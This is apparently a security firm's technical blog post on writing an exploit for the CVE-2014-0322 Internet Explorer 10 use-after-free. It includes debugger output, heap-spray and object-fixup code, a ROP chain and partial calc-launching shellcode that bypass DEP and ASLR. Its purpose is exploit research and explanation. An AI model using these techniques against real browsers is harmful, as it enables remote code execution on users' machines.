[CVE-2014-0322] “Snowman” exploit

MS14-012 Internet Explorer CMarkup Use-After-Free

Introduction

Last month FireEye identified a 0-day exploit (now identified as CVE-2014-0322), the code was targeting American military personnel according to the news. This attack was named “Operation Snowman”. This vulnerability is based on a use-after-free in version 10 of Internet Explorer and allows the execution of arbitrary code when a user visits a maliciously crafted website. I found this advisory interesting, and so decided to implement a reliable exploit featuring a DEP & ASLR bypass.

Note: this post is just an abstract of a larger paper that will be published in MISC Magazine due this summer.

Analysis

According to the exploit code found in the wild and after having simplified it, we can very quickly see that the puIHa3() function below triggers the UaF and takes the control of eax by replacing the freed object.


Indeed, if we do a quick analysis of this crash report:

(df4.aac): Access violation - code c0000005 (!!! second chance !!!)
eax=1a1b1ff0 ebx=00508e00 ecx=000000fa edx=05f02580 esi=05f02580 edi=00511420
eip=68929454 esp=0367b75c ebp=0367b7c8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
MSHTML!Cmarkup::UpdateMarkupContentsVersion+0x16:
68929454 ff4010          inc     dword ptr [eax+10h]  ds:002b:1a1b2000=????????

We can see that the crash occurs in MSHTML!CMarkup::UpdateMarkupContentsVersion() function because of a use-after-free. In addition to that we can note that edx contains the address of the freed object.

MSHTML!Cmarkup::UpdateMarkupContentsVersion:
68ae943e 8b427c          mov     eax,dword ptr [edx+7Ch]
68ae9441 40              inc     eax
68ae9442 0d00000080      or      eax,80000000h
68ae9447 89427c          mov     dword ptr [edx+7Ch],eax
68ae944a 8b82ac000000    mov     eax,dword ptr [edx+0ACh]
68ae9450 85c0            test    eax,eax
68ae9452 7403            je      MSHTML!CMarkup::UpdateMarkupContentsVersion+0x19 (68ae9457)
68ae9454 ff4010          inc     dword ptr [eax+10h]

In this case, the malicious code has replaced the freed object by a new object, filled with 0x1a1b1ff0 values. Of course, those values aren’t allocated here because we simplified the exploit code for the purpose of explaining the attack vector. In fact UpdateMarkupContentsVersion() tries to increment the content of [eax+10h] which isn’t allocated because [edx+0ACh] takes the value of 0x1a1b1ff0. The freed object type is MSHTML!CMarkup and has a size of 0x340 :

address 05f02580 found in
    _HEAP @ 480000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize – state
        05f02298 0069 0000  [00]   05f022a0    00340 - (busy)

Exploitation

This exploitation is a little bit tricky because we can’t take control of the execution flow immediately. We can however add 1 to an arbitrary byte in memory. It’s enough to get control of EIP, then bypass DEP and ASLR. First of all, we need to trigger the vulnerability. I chose to set eax to 0x0ffffff3. At the address 0x10000000, my heap spray will be aligned. However, we need to make the next instructions work. Indeed, after the increment of [eax+10h], some of the object method / attribute addresses are used by the same thread. Thus, it’s important to correctly set those object methods / attributes to avoid crashes.

// asm
mov     ecx,dword ptr [edx+94h]
mov     eax,dword ptr [ecx+0Ch]
 
// js fix
else if (b.length == (0x94 / 2)) {
    b += dword2data(0x10000010);
}
…
// asm
mov     eax,dword ptr [edx+15Ch]
mov     ecx,dword ptr [eax+edx*8]
 
// js fix
else if (b.length == (0x15c / 2)) {
    b += dword2data(0x42424242);
}
…
// asm
mov     eax,dword ptr [esi+98h]
…
mov     eax,dword ptr [eax+8]
and     dword ptr [eax+2F0h],0FFFFFFBFh
 
// js fix
if (b.length == (0x98 / 2)) {
    b += dword2data(0x10000010);
}

Secondly, I chose to load a flash application in order to perform the main part of the exploitation. We need to prepare the heap by implementing an aligned heap spray:

this.s = new Vector.<Object>(0xc0c0);
while (len < 0xc0c0)
{
    this.s[len] = new Vector.<uint>(0x1000 / 4 - 16);
    for (index=0; index < this.s[len].length; index++)
    {
        this.s[len][index] = 0x0c0c0c0c;
    }
    ++len;
}

Doing it this way allows the sprayed heap contents to be properly aligned:

10000000 000003f0 08e33000 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
10000020 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
…
100000c0 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
100000e0 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

Just after this part, we trigger the exploit by calling a JavaScript function from the flash application that will corrupt the size of an ActionScript integer vector. The size will be 0x010003F0 instead of 0x000003F0. This will allow us to rewrite the size of the next sprayed flash vector with 0x3FFFFFFF and thus, have an access to the whole memory space of Internet Explorer 10.

if( this.s[index].length == 0x010003f0 )
{
    this.s[index][0x1000/4 - 2] = 0x3FFFFFFF;     // modify next vector size
    …
}

Before searching for the VirtualProtectStub() address, I leaked the flash module base address. To do that, we can easily get the vtable address of a flash object, bitwise and it with 0xFFFF0000 and then go back to MZ header. From that point, the flash imports are parsed, leading to kernel32!VirtualProtectStub():

00010c00 00004fe0 08e33000 08e27068 15ffc000 16001018 00000010 00000000
16001020 658667c0 00001234 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

Because I wanted to have a generic exploit, I chose to get a stack pivot dynamically by parsing the memory of the flash library so the exploit wouldn’t depend on a given flash version. One just needs to find out 0xC394 (corresponding to xchg eax,esp # ret) in order to do that. Once this is done, we need to build our ROP and shellcode payload. Most of the shellcodes used in this kind of vulnerability are loaded by the exploit from a JPEG picture, I chose to insert mine directly into the heap.

var sh:uint=0x300;
…
// ROP
this.s[index][0] = 0x41414141;
this.s[index][1] = 0x41414141;
this.s[index][2] = 0x41414141;
this.s[index][3] = 0x41414141;
this.s[index][4] = virtualprotectaddr;
this.s[index][5] = cvaddr+0xC00;
this.s[index][6] = cvaddr;
this.s[index][7] = 0x1000;
this.s[index][8] = 0x40;
this.s[index][9] = 0x0d0d0d0d;
 
// Shellcode
this.s[index][sh++]=0x0089E8FC;
this.s[index][sh++]=0x89600000;
this.s[index][sh++]=0x64D231E5;
this.s[index][sh++]=0x8B30528B;
this.s[index][sh++]=0x528B0C52;
this.s[index][sh++]=0x28728B14;
this.s[index][sh++]=0x264AB70F;
this.s[index][sh++]=0xC031FF31;
this.s[index][sh++]=0x7C613CAC;
this.s[index][sh++]=0xC1202C02;
this.s[index][sh++]=0xC7010DCF;
…
this.s[index][sh++]=0x00657865;

Finally, we just have to redirect eip to our stack pivot to pop calc.exe :) To achieve this, we can corrupt the pointer to the vtable of a flash object that we control and then trigger any method. In the exploit found in the wild, a Sound() object was used. I also chose to use it but it is possible to use any other object as long as you can control it.

Conclusion

This vulnerability led to a reliable exploit and allows the execution of arbitrary code on Windows 7 SP1, bypassing DEP and ASLR. Bypassing EMET 4.1 becomes interesting at this point. This could be a good subject for a new paper. Stay tuned :)

You can download the exploit here

Call us

+33 (0) 970 463 030

Email us

contact@hdwsec.fr
Our PGP key

Our address

178 Boulevard Haussmann
75008 Paris , FRANCE